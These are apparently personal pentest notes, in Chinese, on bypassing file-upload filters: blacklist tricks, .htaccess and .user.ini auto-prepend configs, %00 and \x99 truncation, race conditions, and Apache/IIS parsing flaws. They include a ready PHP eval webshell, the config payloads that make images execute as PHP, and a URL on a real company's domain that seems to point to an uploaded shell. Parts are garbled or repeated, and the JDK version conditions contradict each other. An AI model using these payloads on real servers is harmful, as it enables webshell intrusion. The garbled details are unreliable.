一.upload上傳繞過
后綴檢驗繞過
#由于只有后綴是可控的 所以常見的后綴為php中 php2,php3,php4,php5,phtm,phtml,pht,如果是黑名單的話 果斷.htacess 和user.ini 文件傳上去看看 asp中 cer,asa,aspx,svc,ashx,asax,ascx,asmx等 jsp中 jsp,jspx,jspa,jsw,jsv,jspf,jtml #windows環境下 1.)可嘗試大小寫繞-->因為windows下不區分大小寫導致的 2.)可嘗試 php::$DATA php.等后綴 3.)先上傳a.php:.jpg,生成空的a.php文件,在上傳a.ph<寫入文件內容 4.)如果web服務器配置了ssi,可嘗試SHTML,SHT等文件命令執行
黑名單特殊繞過的原理分析
windows特性繞過
#如
①如果在代碼中沒有過濾掉空格類時,可以利用windows的特性php(空格)進行繞過-->即該類名字最后會被直接去除掉空格
即無這句話$file_ext = trim($file_ext); //首尾去空
②留點繞過
原理-->windows環境中會自動去除點
即如果沒有這句話且又是黑名單檢測的話$file_name = deldot($file_name);
可以shell.php.繞過
③利用”::$DATA”處理,利用windows特性,可在后綴名中加” ::$DATA”繞過
即無這句話
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA過濾次數僅有一次類繞過
常見使用于–>文件的名字仍為上傳的文件名的這種情況
原理 ①如在中如果過濾了.但在中雖然經過了過濾但是只過濾了一次的這種情況 因此可以進行php..進行繞過 ②雙寫類-->即將黑名單的內容替換為空這種情況 $file_name = str_ireplace($deny_ext,"", $file_name); 因此直接shell.pphphp即可繞過
2.)上傳文件不重命名
通過配置文件進行繞過
通過.htaccess–>只適用于apache服務器情況可以被解析
.htaccess的內容
SetHandler application/x-httpd-php
GIF89a //繞過exif_imagetype() auto_prepend_file=a.jpg //指定在主文件之前自動解析的文件的名稱,并包含該文件,就像使用require函數調用它一樣。 auto_append_file=a.jpg //解析后進行包含
使用方法
1.先上傳.user.ini文件
//.user.ini GIF89a#當需要檢測文件頭時需要使用 auto_prepend_file=a.jpg#即執行前先執行這個文件,從而連接其即可達到geteshell的作用
這個文件的作用為類似于在文件前調用了require()函數
是一個php配置項
該配置項會讓php文件在執行前先包含一個指定的文件,通過這個配置項,我們就可以來隱藏自己的后門
GIF89a <script language='php'> @eval($_POST['pass']);</script>
如果其他文件均被解析為圖片或者其他類型
上傳index類文件可能可以被解析
如 index.php,index.jsp,index.asp類
①截取原理
img_path直接拼接導致
1.)get類獲取直接拼接-->get類發送的可以直接解碼%00
如
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
即可在save_path路徑輸出的地方控制位
shell.php%00
2.)post類獲取直接拼接-->也是采用%00截斷,不同點在于-->post類型的需要在二進制中修改
$img_path = $_POST['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext;
②條件競爭原理
如upload類
即先上傳文件后然后在進行刪除與修改
如下
因此可以不斷的intruder包然后進行獲取到
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允許上傳.jpg|.png|.gif類型文件!";
unlink($upload_file);②常見利用中間組件和編輯器漏洞思路去繞過
如
1.)文件包含漏洞+解析漏洞組合拳
1.)apache解析漏洞
如
test.php.xxx
#因為xxx不能不解析,所以直接向左解析一步,直接解析為test.php
2.)IIS解析漏洞
即會將jpg解析為php類
1.)apache解析漏洞 如 test.php.xxx #因為xxx不能不解析,所以直接向左解析一步,直接解析為test.php 2.)IIS解析漏洞 即會將jpg解析為php類
如(即編輯器處典型配合解析漏洞)

利用–>即直接代shell即可
http://www.sinochemjiangsu.com/uploads/2016/20160629095935xxxx.asp;.jpg
2.)請求頭部過濾
如
繞過方法:更改一個為大寫字母即可
3.)upload+任意文件刪除組合拳
①在后臺允許上傳的文件中,添加自己想要的文件格式
②如果.htaccess限制了訪問規則
找到一個任意文件刪除的漏洞
刪除.htaccess即可繞過訪問規則
3.截斷利用繞過
造成原因:作為底層的語言一個函數出問題導致
\00截斷利用–>php版本類型最多(且目錄解析類型最多)–>核心低版本服務器的解析問題造成的漏洞
使用條件:
php版本的情況1.php版本小于5.3.42magic_quotes_gpc為off狀態–>如果開啟了則%00為被反斜杠轉義掉
如3get請求類型與post請求類型不同所需要更改的不同
原因:
get類型-->url可以直接進行編碼將%00變成一個非正常符號的編碼
post類型-->url不進行直接編碼,因此必須更改hex的值才可以進行-->或者進行url編碼代繞
即直接利用代截斷后面的內容實現繞過–>常見目錄名截取
如
因為合取的是讓road直接連接后面上傳的文件
所以在這里構造%00進行截取掉后面的內容,從而實現繞過

java版本
使用條件
jdk8<jdk版本
JDK版本范圍:JDK<1.7.40,單是JDK7于2011年07月28日發布至2013年09月10日發表Java SE 7 Update 40這兩年多期間受影響的就有16個版本,值得注意的是JDK1.6雖然JDK7修復之后發布了數十個版本,但是并沒有任何一個版本修復過這個問題,而JDK8發布時間在JDK7修復以后所以并不受此漏洞影響。
1
\x99截斷利用
x.php\x99.jpg #即可以進行截取了

